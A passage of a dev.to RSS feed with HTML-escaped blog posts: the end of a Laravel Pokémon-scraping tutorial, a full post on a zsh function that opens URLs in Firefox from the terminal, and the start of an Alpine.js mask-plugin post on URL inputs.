        &lt;span class="nv"&gt;$pokemonData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;collect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$genTableCrawler&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'tr'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;each&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Crawler&lt;/span&gt; &lt;span class="nv"&gt;$tr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$tr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'th'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;count&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                    &lt;span class="s1"&gt;'name'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$tr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'td'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
                    &lt;span class="s1"&gt;'image'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$tr&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'td img'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'src'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="p"&gt;];&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}))&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have made some adjustments here. Firstly, we removed the &lt;code&gt;-&amp;gt;html()&lt;/code&gt; method because we need to continue using the crawler object to apply additional functions, which will help us build our collection of Pokémon. Additionally, we renamed the variable from &lt;code&gt;$tableHtml&lt;/code&gt; to &lt;code&gt;$genTableCrawler&lt;/code&gt; to more accurately reflect its content as a crawler object, not just HTML text.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;$genTableCrawler-&amp;gt;filter('tr')-&amp;gt;each&lt;/code&gt;&lt;/strong&gt;: Loop through every tr element you find. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;if (!$tr-&amp;gt;filter('th')-&amp;gt;count())&lt;/code&gt;&lt;/strong&gt;: Skip the &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt; elements. &lt;/li&gt;
&lt;li&gt;Then we return an object of the current Pokemon's name and image. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can now use &lt;code&gt;dd($pokemonData-&amp;gt;first())&lt;/code&gt; to inspect the initial item in our Generation I Pokémon collection. Additionally, we can directly check the name or image properties by using &lt;code&gt;dd($pokemonData-&amp;gt;first()-&amp;gt;name)&lt;/code&gt; or &lt;code&gt;dd($pokemonData-&amp;gt;first()-&amp;gt;image)&lt;/code&gt;, ensuring that we have successfully retrieved and structured the Pokémon data.&lt;/p&gt;

&lt;p&gt;Realmer! You have officially caught all the Gen 1 Pokémon! Congrats! And as Prof Oak would say &lt;em&gt;You've finally done it! You've finally completed the National Pokédex! This is better than meeting any exotic Pokémon for the first time! I feel blessed to have become friends with a Trainer like you! Sincerely, I thank you from the bottom of my heart!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExYnQ2M3g4MWZobGRvdzBqZnlxOWs4MTNqdm5ybm5vN3R1ZWNxcDJ3ciZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/vsyKKf1t22nmw/giphy.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://i.giphy.com/media/v1.Y2lkPTc5MGI3NjExYnQ2M3g4MWZobGRvdzBqZnlxOWs4MTNqdm5ybm5vN3R1ZWNxcDJ3ciZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/vsyKKf1t22nmw/giphy.gif" alt="Laravel scraper caught all pokemon gif" width="480" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrapping up and Future Challenges
&lt;/h2&gt;

&lt;p&gt;As we wrap up this detailed exploration into Laravel Pokémon scraping, I recognize that our discussion has been extensive, but I believe the insights and techniques shared here are invaluable. They serve not only to guide you through your own scraping projects but also to enhance your understanding of Laravel's capabilities.&lt;/p&gt;

&lt;p&gt;While there is always more to learn and explore, I'll conclude this article by suggesting a few improvements and coding challenges. These are designed to not only test your newfound skills but also to further refine them and spark your creativity. Whether it's optimizing performance, expanding the data extracted, or integrating more complex data handling features, these challenges will help you advance your development expertise.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Try including in the poké collection the types of each Pokemon. It is a bit tricky and it will hone your scraping skills. &lt;/li&gt;
&lt;li&gt;Try including in the poké collection the link directing to each Pokemon's details page in Bulbapedia.&lt;/li&gt;
&lt;li&gt;Try extracting the scraping logic to functions in a different class and fetch the Pokemon data like so:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$pokemonData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;PokemonScraperHelper&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fromGeneration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Generation I'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetchAll&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This way you will hone your Laravel SOLID skills. (Note: this is not the correct answer this is just a way of thinking example, to lead you to the correct path. You can also make your function accept a &lt;a href="https://stitcher.io/blog/php-enums" rel="noopener noreferrer"&gt;GenerationEnum&lt;/a&gt;... just something more for you to explore).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a new feature fetching only one Pokemon, or by some searching functionality. &lt;/li&gt;
&lt;li&gt;Save every Pokemon to the database by creating a Pokemon model.&lt;/li&gt;
&lt;li&gt;Make the URI dynamic accepting generations like: &lt;code&gt;ourLaravelScraper.test/pokemon/{generation}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Go crazy with it. &lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Grab the Project Repo
&lt;/h3&gt;

&lt;p&gt;Visit &lt;a href="https://sudorealm.com/blog/how-to-build-a-robust-web-scraper-with-laravel-and-catch-em-all#grab-the-project-repo" rel="noopener noreferrer"&gt;The original post in Sudorealm&lt;/a&gt; to find the repo. ( sneaky ) I know 🤪&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A note to the rockstar reader&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you've made it this far, you are truly dedicated to mastering the craft of coding. Your commitment to learning and growth is commendable. Every line of code you decipher, every new technique you master, and every challenge you overcome not only improves your skills but also brings your ideas to life. Keep up the great work! 💪&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>laravel</category>
      <category>scraping</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Simplify Your Browsing: Open Firefox URLs with Aliases in Terminal</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Sat, 10 Feb 2024 09:01:32 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/simplify-your-browsing-open-firefox-urls-with-aliases-in-terminal-4n9i</link>
      <guid>https://dev.to/d3adr1nger/simplify-your-browsing-open-firefox-urls-with-aliases-in-terminal-4n9i</guid>
      <description>&lt;p&gt;So there I was, sitting at the airport terminal, laptop out and Chrome up and running. A sudden need to open a URL in Firefox hit me, and I couldn't help but think, "Wouldn't it be cool to just whip up a Firefox window with that URL straight from my terminal?" That lightbulb moment turned into a mini-mission for me. Why toggle through screens and clicks when a simple terminal command could do the trick? &lt;/p&gt;

&lt;p&gt;This article is all about bringing that cool, 'aha' moment to life for you. If you're into making your tech life just a bit more slick and fun, you're definitely going to enjoy this productivity hack. Let's dive into how this little idea from an airport terminal can add a nifty twist to your digital routine!&lt;/p&gt;

&lt;p&gt;Let's deconstruct the process in steps: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;⼻ Open up terminal&lt;/li&gt;
&lt;li&gt;⼻ Check Firefox installation&lt;/li&gt;
&lt;li&gt;⼻ Edit &lt;code&gt;.bashrc&lt;/code&gt; or &lt;code&gt;.zshrc&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;⼻ Playing around&lt;/li&gt;
&lt;li&gt;⼻ Getting fancy with it&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Before we start with the crazy terminal hackaroo I suppose you have Firefox or Firefox developer edition installed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  ⼻ Open up terminal
&lt;/h2&gt;

&lt;p&gt;I made this a step because I wanted to shout out to this article &lt;a href="https://sudorealm.com/blog/iterm2-your-mac-s-terminal-upgraded" rel="noopener noreferrer"&gt;iterm2 your mac's terminal upgraded&lt;/a&gt;, and just let you know that you can easily upgrade your MacBook's built-in terminal very easily to a crazy efficient tool! That was the shout-out! Now just open your terminal 🤣 !&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ Check Firefox installation
&lt;/h2&gt;

&lt;p&gt;After some minor searching around ways to do that directly from the terminal, I found that the best way is using the system_profiler command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;system_profiler SPApplicationsDataType | &lt;span class="nb"&gt;grep &lt;/span&gt;Firefox

Location: /Users/d3ad_r1nger/Library/Application Support/Firefox/Profiles/xvmcok03.dev-edition-default/storage/default/https+++tinkerwell.app
    Firefox Developer Edition:
      Location: /Applications/Firefox Developer Edition.app
      Get Info String: Firefox Developer Edition 123.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output indicates that the "Firefox Developer Edition" is installed on my system, located in the /Applications directory, with version 123.0. Additionally, there's a reference to a Firefox profile or data directory located under the user's Library/Application Support/Firefox path, specifically within a development edition profile storage.&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ Edit &lt;code&gt;.bashrc&lt;/code&gt; or &lt;code&gt;.zshrc&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Depending on what you use (I use zsh) edit the appropriate file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano ~/.zshrc 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add the following snippet to the end of your file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# functions&lt;/span&gt;
fire&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    open &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="s2"&gt;"Firefox Developer Edition"&lt;/span&gt; &lt;span class="s2"&gt;"https://&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save and exit the editor &lt;code&gt;ctrl + x&lt;/code&gt; then press &lt;code&gt;y&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📝 Sidenote&lt;/strong&gt;&lt;br&gt;
You noticed that I use "Firefox Developer Edition" in the command. This is just the Firefox version I have installed. If you installed the simple Firefox version just add "Firefox". Just needed to clarify that to ease confusement!&lt;/p&gt;

&lt;p&gt;Apply the changes by sourcing your profile or rc file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;source&lt;/span&gt; ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  ⼻ Playing around
&lt;/h2&gt;

&lt;p&gt;Now you can just type &lt;code&gt;fire sudorealm.com&lt;/code&gt; and see your Firefox open up, navigating you to Sudorealm✨! Also if you type &lt;code&gt;fire pokemon.com/us/pokedex/mewtwo&lt;/code&gt; you see that it just opens up a new tab to your already open Firefox window. How cool is that dude? &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Tsc8fd8z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.giphy.com/ZxoslTYgYgWuk.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Tsc8fd8z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://i.giphy.com/ZxoslTYgYgWuk.webp" alt="yeah bro!" width="480" height="358"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting fancy with it
&lt;/h2&gt;

&lt;p&gt;I just can't stop at that point. There's this itch that I have to scratch, pushing the boundaries of what's possible with a simple terminal command. Why settle for just opening URLs when we can turn the dial up a notch? Here's how you can set this up to open multiple space-separated files or URLs in Firefox, all in one go. 🔥&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# functions&lt;/span&gt;
fire&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;url &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;open &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="s2"&gt;"Firefox Developer Edition"&lt;/span&gt; &lt;span class="s2"&gt;"https://&lt;/span&gt;&lt;span class="nv"&gt;$url&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we have unlocked a newfound power in our terminal! By just typing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fire instagram.com sudorealm.com youtube.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Firefox will open everything all at once! I love it! Take a look! 👀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iAJITxrl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://i.postimg.cc/sXz8SWjH/Screen-Recording2024-02-10at10-02-05-AM-ezgif-com-video-to-gif-converter.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iAJITxrl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_800/https://i.postimg.cc/sXz8SWjH/Screen-Recording2024-02-10at10-02-05-AM-ezgif-com-video-to-gif-converter.gif" alt="the sudorealm way of opening links with firefox" width="600" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can do much more with that if you are curious enough, you can grab an idea from this article too: &lt;a href="https://sudorealm.com/blog/from-frustration-to-efficiency-my-experience-with-aliases-on-mac-terminal" rel="noopener noreferrer"&gt;From Frustration to Efficiency: My Experience with Aliases on Mac Terminal&lt;/a&gt;. In that article I play around with aliases. &lt;/p&gt;

&lt;p&gt;I might even create a new alias, now that I think about it, like &lt;code&gt;insta&lt;/code&gt; that would immediately open Instagram for me. 🤪&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;📝 Another sidenote&lt;/strong&gt;&lt;br&gt;
This entire tutorial might also work with other browsers and there are many crazy combinations that you could try, but I am too lazy to think of any of them. so go at it! Maybe create an article about it here? 🤔&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusions and Thoughts
&lt;/h2&gt;

&lt;p&gt;And there you have it, folks—a journey from a simple 'aha' moment at an airport terminal to unlocking some pretty nifty tricks in your own terminal. Who knew a bit of waiting around with your laptop could lead to such a cool hack? By now, you've got the know-how to not only open URLs in Firefox with a simple command but also to juggle multiple sites like a digital juggler, all from the comfort of your command line.&lt;/p&gt;

&lt;p&gt;This little adventure into the world of terminal commands and aliases shows that with a pinch of curiosity and a dash of creativity, the mundane can turn into something quite magical. It's more than just opening websites; it's about tailoring your tools to fit your workflow, making your digital life not just efficient, but also a bit more fun.&lt;/p&gt;

&lt;p&gt;So, next time you're caught in a moment of downtime, maybe while waiting for a flight or just taking a break, remember that these are opportunities to explore, to tinker, and to perhaps stumble upon your next great hack. And who knows? Maybe your newfound command line prowess will inspire your next big idea or simply make your day-to-day a tad easier.&lt;/p&gt;

&lt;p&gt;Don't forget to share your terminal triumphs and tips with the community. After all, sharing is caring, especially when it comes to cool hacks like these. Until then, happy hacking, and may your digital explorations bring you plenty of delightful surprises! 🚀&lt;/p&gt;

&lt;h2&gt;
  
  
  🚀 Spread the Love &amp;amp; Support the Realm
&lt;/h2&gt;

&lt;p&gt;🆇 &lt;strong&gt;X Shoutout&lt;/strong&gt;: Feeling extra grateful or have some cool feedback? Drop me a shoutout on Twitter – I'd love to hear from you! &lt;a href="https://twitter.com/DevThanos" rel="noopener noreferrer"&gt;d3adR1nger on X&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;💬 &lt;strong&gt;Join our Discord Server&lt;/strong&gt;: Join the &lt;strong&gt;&lt;a href="https://discord.gg/Fy4bmw6q" rel="noopener noreferrer"&gt;Sudorealm Discord Server&lt;/a&gt;&lt;/strong&gt; connect with fellow enthusiasts and chat about everything that fascinates you! From new blog post suggestions to seeking support on tricky tutorials. Come, share your ideas, and let's grow together! 🚀🌐&lt;/p&gt;

&lt;p&gt;☕️ &lt;strong&gt;Coffee Driven Development&lt;/strong&gt;: Love what you're reading? Fuel my passion for coding with a delicious cup of coffee! Every sip powers up another line of code and helps bring more exciting content your way. Support my caffeine-fueled coding adventures and let's brew up something amazing together! ☕👨‍💻 Join the journey and &lt;strong&gt;&lt;a href="//buymeacoffee.com/ZixcW8N"&gt;BuyMeACoffee&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.buymeacoffee.com/ZixcW8N" rel="noopener noreferrer"&gt;&lt;img src="https://i.giphy.com/media/GNBCVMv6XobnMUMYJG/giphy.gif" alt="d3ad R1nger buymeacoffee" width="480" height="222"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>nerdy</category>
      <category>terminal</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Practical Use of Alpine.js Mask Plugin: Real World Example</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Mon, 11 Dec 2023 10:40:21 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/practical-use-of-alpinejs-mask-plugin-real-world-example-3nj2</link>
      <guid>https://dev.to/d3adr1nger/practical-use-of-alpinejs-mask-plugin-real-world-example-3nj2</guid>
      <description>&lt;p&gt;Recently, while working on a new feature for Sudorealm, I encountered a seemingly minor issue with an input field. It turned out to be a great learning opportunity, and I'm excited to share this experience with you. &lt;/p&gt;

&lt;p&gt;I was developing a new modal form for Sudorealm users aspiring to become authors on the platform. This form included a section with three input fields for users to list any articles they've previously written, if applicable. At first, I didn’t think much of it. But when I reached the stage where I needed to validate the data, I realized a small, yet significant problem had arisen. Let me show you what I am talking about. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FSKn3Q4C5%2FScreenshot-2023-12-11-at-9-47-30-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FSKn3Q4C5%2FScreenshot-2023-12-11-at-9-47-30-AM.png" alt="Sudorealm become an author feature"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ The problem
&lt;/h2&gt;

&lt;p&gt;The Solution in code for the impatient&lt;/p&gt;

&lt;p&gt;This is the modal form that I am talking about, it's pretty straightforward to fill up. But when we use the following Laravel Livewire validation:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;

&lt;span class="s1"&gt;'sudoerForm.primary_article.*'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nullable'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'max:255'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;we get the following form submission error: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FkMQZgfRn%2FScreenshot-2023-12-11-at-9-51-48-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.postimg.cc%2FkMQZgfRn%2FScreenshot-2023-12-11-at-9-51-48-AM.png" alt="Sudorealm become an author feature form error"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you have observed the form error appears only on the first input and not on the second one. Why is that? This is because Laravel's &lt;code&gt;url&lt;/code&gt;  validation error accepts only URLs with &lt;code&gt;https://&lt;/code&gt; or &lt;code&gt;http://&lt;/code&gt; upfront. &lt;/p&gt;

&lt;p&gt;Initially, my plan was to leave the URL input as it was, assuming users would usually paste their URLs, including the &lt;code&gt;https://&lt;/code&gt; part. But then, a thought struck me, inspired by the 'broken-window theory'* I read about in 'The Pragmatic Programmer': Could this be a 'broken window' in my code? By leaving it as is, was I setting myself up for future issues? Conversely, if I address it now, could this fix potentially prevent similar problems in other, yet-to-be-updated parts of my code? Therefore I decided to come up with a cool and breezy solution! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia1.tenor.com%2Fm%2FYbmQHDSJvbkAAAAC%2Fthumbs-up-hacker.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia1.tenor.com%2Fm%2FYbmQHDSJvbkAAAAC%2Fthumbs-up-hacker.gif" alt="Sudorealm coding session thumbs up"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ⼻ The Solution
&lt;/h2&gt;

&lt;p&gt;Alpine.js to the rescue!!! A lightweight JavaScript framework that's easy to use yet surprisingly powerful. It brings reactivity and data-binding to your HTML, similar to Vue.js, but with a simpler, more direct approach. It's perfect for quickly adding interactivity to web pages without the complexity of heavier frameworks. From the mind of &lt;a href="https://twitter.com/calebporzio" rel="noopener noreferrer"&gt;Caleb Porzio&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This crazy useful library also provides plugins, and other stuff ( but we kinda want to focus on the plugins 🤪). Alpine.js Plugins extend the core functionality of Alpine.js, allowing developers to easily integrate additional features without bloating their code. They're perfect for when you need that extra functionality without the overhead of a larger framework.&lt;/p&gt;

&lt;p&gt;Zooming in on one particular Alpine.js Plugin that's central to our discussion: the &lt;strong&gt;Mask Plugin&lt;/strong&gt;. The Mask Plugin is a nifty tool that simplifies the handling of user input formatting. Whether you're dealing with phone numbers, dates, or in our case, &lt;strong&gt;URLs&lt;/strong&gt;, it ensures that the input matches a specific pattern, enhancing both data consistency and user experience. It's a straightforward yet powerful solution that elegantly addresses common input-related challenges, like the one I encountered with URL validation. Take a look at the &lt;a href="https://alpinejs.dev/plugins/mask" rel="noopener noreferrer"&gt;documentation&lt;/a&gt; as well. &lt;/p&gt;

&lt;h3&gt;
  
  
  🎯 Objective
&lt;/h3&gt;

&lt;p&gt;My goal was straightforward: I wanted the &lt;code&gt;https://&lt;/code&gt; to automatically appear whenever a user started typing a URL in the input field. Reading a bit into the documentation of the plugin I realized that what I wanted to achieve was a dynamic mask. Once this was clear, implementing the solution was a breeze.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔨 Implementation
&lt;/h3&gt;

&lt;p&gt;Here’s how it’s done:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

x-mask:dynamic="addHttps($input)"


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;

&lt;span class="nt"&gt;&amp;lt;x-input.minimal.text&lt;/span&gt; &lt;span class="na"&gt;x-mask:dynamic=&lt;/span&gt;&lt;span class="s"&gt;"addHttps($input)"&lt;/span&gt; &lt;span class="na"&gt;wire:model.defer=&lt;/span&gt;&lt;span class="s"&gt;"livewire.name.of.model"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In the HTML (blade component, in my case), we use the &lt;code&gt;x-mask:dynamic&lt;/code&gt; attribute from the Mask Plugin. This attribute calls the &lt;code&gt;addHttps&lt;/code&gt; function, which we define in JavaScript:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;

    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
